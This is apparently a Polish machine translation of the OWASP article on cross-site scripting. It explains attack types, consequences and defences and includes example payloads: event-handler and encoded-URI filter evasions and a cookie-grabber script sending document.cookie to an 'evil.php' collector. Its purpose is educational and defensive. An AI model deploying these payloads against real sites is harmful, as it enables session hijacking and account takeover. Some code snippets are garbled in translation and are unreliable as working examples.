Heading

Overview

Ataki typu cross-site scripting (XSS) są rodzajem iniekcji, w których złośliwe skrypty są wstrzykiwane do skądinąd łagodnych i zaufanych stron internetowych. Ataki XSS występują, gdy atakujący wykorzystuje aplikację internetową do wysłania złośliwego kodu, zazwyczaj w postaci skryptu po stronie przeglądarki, do innego użytkownika końcowego. Błędy, które pozwalają na powodzenie tych ataków są dość powszechne i występują wszędzie tam, gdzie aplikacja internetowa wykorzystuje dane wejściowe od użytkownika w ramach generowanych przez siebie danych wyjściowych bez ich walidacji lub kodowania.

Atakujący może wykorzystać XSS do wysłania złośliwego skryptu do niczego niepodejrzewającego użytkownika. Przeglądarka użytkownika końcowego nie ma sposobu, aby dowiedzieć się, że skrypt nie powinien być zaufany, i wykona go. Ponieważ myśli, że skrypt pochodzi z zaufanego źródła, złośliwy skrypt może uzyskać dostęp do wszelkich plików cookie, tokenów sesji lub innych poufnych informacji zachowanych przez przeglądarkę i używanych w danej witrynie. Skrypty te mogą nawet przepisać treść strony HTML. Aby uzyskać więcej szczegółów na temat różnych typów błędów XSS, zobacz: Rodzaje Cross-Site Scripting.

Jak unikać podatności na skrypty krzyżowe

• XSS (Cross Site Scripting) Prevention Cheat Sheet
• DOM based XSS Prevention Cheat Sheet
• OWASP Development Guide article on Data Validation
• OWASP Development Guide article on Phishing

How to Review Code for Cross-site scripting Vulnerabilities

Zobacz przewodnik OWASP Code Review Guide.

Jak testować pod kątem podatności na cross-site scripting

Zobacz najnowszy artykuł OWASP Testing Guide o tym, jak testować różne rodzaje podatności XSS.

• Testing_for_Reflected_Cross_site_scripting
• Testing_for_Stored_Cross_site_scripting
• Testing_for_DOM-based_Cross_site_scripting

Opis

Ataki XSS (Cross-Site Scripting) występują, gdy:

1. Dane dostają się do aplikacji WWW przez niezaufane źródło, najczęściej żądanie WWW.
2. Dane są zawarte w dynamicznej zawartości, która jest wysyłana do użytkownika sieci bez sprawdzenia jej pod kątem złośliwej zawartości.

Złośliwa zawartość wysyłana do przeglądarki internetowej często przybiera formę fragmentu JavaScript, ale może również zawierać HTML, Flash lub jakikolwiek inny rodzaj kodu, który przeglądarka może wykonać. Różnorodność ataków opartych na XSS jest niemal nieograniczona, ale zazwyczaj obejmują one przekazywanie prywatnych danych, takich jak ciasteczka lub inne informacje o sesji, do atakującego, przekierowywanie ofiary do treści kontrolowanych przez atakującego lub wykonywanie innych złośliwych operacji na komputerze użytkownika pod przykrywką podatnej witryny.

Zapisane i odbite ataki XSS

Ataki XSS mogą być ogólnie podzielone na dwie kategorie: zapisane i odbite. Istnieje jeszcze trzeci, znacznie mniej znany rodzaj ataków XSS, zwany DOM Based XSS, który został tutaj omówiony osobno.

Stored XSS Attacks

Ataki przechowywane to takie, w których wstrzyknięty skrypt jest trwale przechowywany na serwerze docelowym, np. w bazie danych, na forum dyskusyjnym, w dzienniku odwiedzin, w polu komentarza itp. Ofiara następnie pobiera złośliwy skrypt z serwera, gdy żąda przechowywanych informacji. StoredXSS jest również czasami określany jako Persistent lub Type-I XSS.

Odbite ataki XSS

Odbite ataki to takie, w których wstrzyknięty skrypt jest odbity od serwera, np. w komunikacie o błędzie, wyniku wyszukiwania lub innej odpowiedzi, która zawiera część lub całość danych wejściowych wysłanych do serwera w ramach żądania. Odbite ataki są dostarczane do ofiar inną drogą, np. w wiadomości e-mail lub na innej stronie internetowej. Gdy użytkownik zostanie podstępnie nakłoniony do kliknięcia na złośliwy link, przesłania specjalnie spreparowanego formularza lub nawet po prostu odwiedzenia złośliwej strony, wstrzyknięty kod wędruje do podatnej strony internetowej, która odbija atak z powrotem do przeglądarki użytkownika. Przeglądarka następnie wykonuje kod, ponieważ pochodzi on z „zaufanego” serwera. Reflected XSS jest również czasami określany jako Non-Persistent lub Type-II XSS.

Inne typy podatności XSS

Oprócz Stored i Reflected XSS, inny typ XSS, DOM BasedXSS został zidentyfikowany przez Amita Kleina w 2005 roku. OWASP zaleca kategoryzację XSS opisaną w artykule OWASP: Types of Cross-Site Scripting, który obejmuje wszystkie te terminy XSS, organizując je w macierz Stored vs. ReflectedXSS oraz Server vs. Client XSS, gdzie DOM Based XSS jest oparty na DOM. Klient XSS, gdzie DOM Based XSS jest podzbiorem ClientXSS.

Konsekwencje ataku XSS

Konsekwencje ataku XSS są takie same niezależnie od tego, czy jest on przechowywany, czy odbity (lub DOM Based). Różnica polega na tym, w jaki sposób ładunek dociera do serwera. Nie daj się zwieść myśleniu, że strona typu „tylko do odczytu” lub „broszurowa” nie jest podatna na poważne ataki XSS. XSS może powodować różne problemy dla użytkownika końcowego, które mogą mieć różny stopień nasilenia – od irytacji po całkowite przejęcie konta. Najpoważniejsze ataki XSS polegały na ujawnieniu ciasteczka sesji użytkownika, co pozwalało atakującemu na przejęcie sesji użytkownika i przejęcie konta. Inne szkodliwe ataki obejmują ujawnienie plików użytkownika końcowego, instalację programów typu koń trojański, przekierowanie użytkownika na inną stronę lub witrynę, czy modyfikację prezentacji treści. Luka XSS pozwalająca atakującemu na zmodyfikowanie komunikatu prasowego lub wiadomości może wpłynąć na cenę akcji firmy lub zmniejszyć zaufanie konsumentów. Luka XSS w witrynie farmaceutycznej może pozwolić atakującemu na modyfikację informacji o dawkowaniu, co może doprowadzić do przedawkowania. Więcej informacji na temat tego typu ataków można znaleźć wContent_Spoofing.

Jak określić, czy jesteś podatny

Błędy XSS mogą być trudne do zidentyfikowania i usunięcia z aplikacji webowej. Najlepszym sposobem na znalezienie dziury jest przeprowadzenie przeglądu bezpieczeństwa kodu i wyszukanie wszystkich miejsc, w których dane wejściowe z żądania HTTP mogłyby znaleźć się w kodzie wyjściowym HTML. Zauważcie, że wiele różnych znaczników HTML może zostać użytych do przesłania złośliwego JavaScriptu. Nessus, Nikto i inne dostępne narzędzia mogą pomóc w przeskanowaniu strony pod kątem tych błędów, ale mogą jedynie zarysować powierzchnię. Jeśli jedna część strony jest podatna na ataki, istnieje duże prawdopodobieństwo, że istnieją również inne problemy.

Jak się chronić

Podstawowe sposoby obrony przed XSS zostały opisane w arkuszu OWASP XSS Prevention CheatSheet.

Najważniejsze jest również wyłączenie obsługi HTTP TRACE na wszystkich serwerach. Napastnik może wykraść dane z ciasteczek za pomocą Javascript nawet wtedy, gdyndocument.cookie jest wyłączony lub nie jest obsługiwany przez klienta. Atak ten jest przeprowadzany, gdy użytkownik umieszcza złośliwy skrypt na forum, a gdy inny użytkownik kliknie link, uruchamiane jest asynchroniczne wywołanie HTTP Trace, które pobiera z serwera informacje o plikach cookie użytkownika, a następnie wysyła je do innego złośliwego serwera, który zbiera informacje o plikach cookie, dzięki czemu atakujący może przeprowadzić atak typu session hijack.Można temu łatwo zaradzić, usuwając obsługę HTTP TRACE na wszystkich serwerach WWW.

Projekt OWASP ESAPI stworzył zestaw komponentów bezpieczeństwa wielokrotnego użytku w kilku językach, w tym procedury walidacji i ucieczki, które zapobiegają manipulowaniu parametrami i wstrzykiwaniu ataków XSS. Ponadto, aplikacja szkoleniowa projektu OWASP WebGoat zawiera lekcje na temat Cross-Site Scripting i kodowania danych.

Alternatywna składnia XSS

XSS wykorzystująca skrypt w atrybutach

Ataki XSS mogą być przeprowadzane bez użycia znaczników <script>...</script>. Inne znaczniki zrobią dokładnie to samo, na przykład:<body onload=alert('test1')> lub inne atrybuty, takie jak: onmouseoveronerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS Using Script Via Encoded URI Schemes

Jeśli potrzebujemy ukryć się przed filtrami aplikacji webowych możemy spróbować zakodować znaki, np.g.: a=&\#X41 (UTF-8) i wykorzystać je w znacznikach IMG:

<IMG SRC=j&#X41vascript:alert('test2')>

Istnieje wiele różnych notacji kodowania UTF-8 co daje nam jeszcze więcej możliwości.

XSS wykorzystujący kodowanie kodu

Możemy zakodować nasz skrypt w base64 i umieścić go w tagu META. W ten sposób pozbędziemy się całkowicie tagu alert(). Więcej informacji na temat tej metody można znaleźć w RFC 2397

<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Te i inne przykłady można znaleźć na stronie OWASP XSS Filter Evasion Cheat Sheet, która jest prawdziwą encyklopedią alternatywnego ataku składniowego XSS.

Przykłady

Ataki typu cross-site scripting mogą wystąpić wszędzie tam, gdzie potencjalnie złośliwi użytkownicy mogą umieszczać na zaufanej stronie nieuregulowane materiały przeznaczone do konsumpcji przez innych ważnych użytkowników.

Najczęstszy przykład można znaleźć w witrynach typu bulletin-board, które zapewniają funkcjonalność w stylu listy mailingowej.

Przykład 1

Następujący segment kodu JSP odczytuje identyfikator pracownika, eid, z żądania HTTP i wyświetla go użytkownikowi.

<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>

Kod w tym przykładzie działa poprawnie, jeśli eid zawiera tylko standardowy tekst alfanumeryczny. Jeśli eid ma wartość zawierającą metaznaki lub kod źródłowy, wówczas kod ten zostanie wykonany przez przeglądarkę podczas wyświetlania odpowiedzi HTTP.

Początkowo może się wydawać, że nie jest to duża luka. W końcu, dlaczego ktoś miałby wpisywać adres URL, który powoduje uruchomienie złośliwego kodu na jego własnym komputerze? Prawdziwe niebezpieczeństwo polega na tym, że atakujący stworzy złośliwy adres URL, a następnie użyje poczty elektronicznej lub sztuczek socjotechnicznych, aby zwabić ofiary do odwiedzenia linku do tego adresu. Kiedy ofiary klikną na link, nieświadomie odbiją złośliwą zawartość poprzez podatną aplikację internetową z powrotem do swoich komputerów. Ten mechanizm wykorzystywania podatnych na ataki aplikacji webowych znany jest jako Reflected XSS.

Przykład 2

Następujący segment kodu JSP zapytuje bazę danych o pracownika o podanym identyfikatorze i wypisuje jego nazwisko.

<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>

Podobnie jak w przykładzie 1, kod ten działa poprawnie, gdy wartości name są dobrze zachowane, ale nie robi nic, aby zapobiec exploitom, jeśli nie są. Ponownie, ten kod może wydawać się mniej niebezpieczny, ponieważ wartość name jest odczytywana z bazy danych, której zawartość jest najwyraźniej zarządzana przez aplikację. Jednakże, jeśli wartość name pochodzi z danych dostarczonych przez użytkownika, baza danych może być przewodnikiem dla złośliwych treści. Bez odpowiedniej walidacji danych wejściowych przechowywanych w bazie, atakujący może wykonać złośliwe komendy w przeglądarce internetowej użytkownika. Ten typ exploita, znany jako Stored XSS, jest szczególnie szkodliwy, ponieważ niewiadoma spowodowana przechowywaniem danych utrudnia identyfikację zagrożenia i zwiększa prawdopodobieństwo, że atak dotknie wielu użytkowników. XSS w tej formie rozpoczął swoją działalność na stronach internetowych, które oferowały odwiedzającym „księgę gości”. Atakujący umieszczali JavaScript w swoich wpisach do księgi gości, a wszyscy kolejni odwiedzający stronę księgi gości wykonywali złośliwy kod.

Jak pokazują przykłady, luki XSS są powodowane przez kod, który w odpowiedzi HTTP zawiera niepoprawne dane. Istnieją trzy wektory, za pomocą których atak XSS może dotrzeć do ofiary:

• Jak w przykładzie 1, dane są odczytywane bezpośrednio z żądania HTTP i odbijane z powrotem w odpowiedzi HTTP. Odbite ataki XSS występują wtedy, gdy atakujący powoduje, że użytkownik dostarcza niebezpieczną treść do podatnej aplikacji webowej, która jest następnie odbijana z powrotem do użytkownika i wykonywana przez przeglądarkę. Najpopularniejszym mechanizmem dostarczania złośliwej treści jest zawarcie jej jako parametru w adresie URL, który jest publicznie publikowany lub wysyłany pocztą elektroniczną bezpośrednio do ofiar. Tak skonstruowane adresy URL stanowią rdzeń wielu schematów phishingu, w ramach których atakujący przekonuje ofiary do odwiedzenia adresu URL odsyłającego do podatnej na ataki strony. Po tym, jak witryna odsyła treść atakującego do użytkownika, treść ta jest wykonywana i następuje przekazanie prywatnych informacji, takich jak pliki cookie, które mogą zawierać informacje o użytkowniku, z komputera użytkownika do atakującego lub wykonanie innych nielegalnych działań.
• Jak w przykładzie 2, aplikacja przechowuje niebezpieczne dane w bazie danych lub innym zaufanym magazynie danych. Niebezpieczne dane są następnie wczytywane z powrotem do aplikacji i umieszczane w dynamicznej zawartości. exploity StoredXSS występują wtedy, gdy atakujący wstrzykuje niebezpieczną zawartość do magazynu danych, która jest później odczytywana i włączana do dynamicznej zawartości. Z perspektywy atakującego, optymalnym miejscem do wstrzyknięcia złośliwej treści jest obszar, który jest wyświetlany albo wielu użytkownikom, albo szczególnie interesującym użytkownikom. Interesujący użytkownicy zazwyczaj mają podwyższone uprawnienia w aplikacji lub wchodzą w interakcję z wrażliwymi danymi, które są cenne dla atakującego. Jeśli jeden z tych użytkowników wykona złośliwą zawartość, atakujący może być w stanie wykonać uprzywilejowane operacje w imieniu użytkownika lub uzyskać dostęp do wrażliwych danych należących do użytkownika.
• Źródło poza aplikacją przechowuje niebezpieczne dane w bazie danych lub innym magazynie danych, a niebezpieczne dane są następnie wczytywane z powrotem do aplikacji jako zaufane dane i włączane do dynamicznej zawartości.

Przykłady ataków

Przykład 1: Cookie Grabber

Jeśli aplikacja nie waliduje danych wejściowych, atakujący może łatwo ukraść ciasteczko od uwierzytelnionego użytkownika. Wystarczy, że w dowolnym miejscu, w którym znajdują się dane wejściowe (np. na forum, w prywatnych wiadomościach, w profilach użytkowników) umieści poniższy kod:

<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

Powyższy kod przekaże do skryptu evil.php w zmiennej „cakemonster” zszyfrowaną zawartość ciasteczka (zgodnie z RFC zawartość ciasteczka musi być zszyfrowana przed wysłaniem jej przez protokół HTTP z metodą GET). Atakujący następnie sprawdza wyniki działania skryptu evil.php (skrypt typu cookie grabber zazwyczaj zapisuje cookie do pliku) i wykorzystuje je.

Przykład strony błędu

Załóżmy, że mamy stronę błędu, która obsługuje żądania dla nieistniejących stron, klasyczną stronę błędu 404. Możemy użyć poniższego kodu jako przykładu, aby poinformować użytkownika o tym, jakiej konkretnie strony brakuje:

<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>

Zobaczmy jak to działa: http://testsite.test/file_which_not_existW odpowiedzi otrzymujemy: Not found: /file_which_not_exist

Teraz spróbujemy zmusić stronę błędu do zawarcia naszego kodu: http://testsite.test/<script>alert("TEST");</script>W wyniku otrzymujemy: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

Udało nam się wstrzyknąć kod, nasz XSS! Co to oznacza? Na przykład, że możemy wykorzystać ten błąd do próby kradzieży sessioncookie użytkownika.

• Ataki XSS
• Wywoływanie niezaufanego kodu mobilnego
• Cross Site History Manipulation (XSHM)

• Nieprawidłowa walidacja danych
• Typy Cross-Site Scripting
• artykuł z Przewodnika po rozwoju systemuOWASP na temat walidacji danych
• artykuł z Przewodnika po rozwoju systemuOWASP na temat Phishingu

• Walidacja danych

Przewodnik po rozwoju systemuOWASP
• Sztuczny arkusz zapobiegania XSS (Cross Site Scripting) w systemieOWASP
• Testing_for_Reflected_Cross_site_scripting
• Testing_for_Stored_Cross_site_scripting
• Testing_for_DOM-based_Cross_site_scripting
• The Cross Site Scripting FAQ
• OWASP XSS Filter Evasion Cheat Sheet
• CERT Advisory on Malicious HTML Tags
• CERT „Understanding Malicious Content Mitigation
• Understanding the cause and effect of CSS Vulnerabilities
• XSSed – XSSing (XSS – Cross-Site Scripting) Cross-Site Scripting (XSS) Informacje i archiwum lustrzane podatnych stron

Kategoria:InjectionKategoria:OWASP Top Ten ProjectKategoria:Atak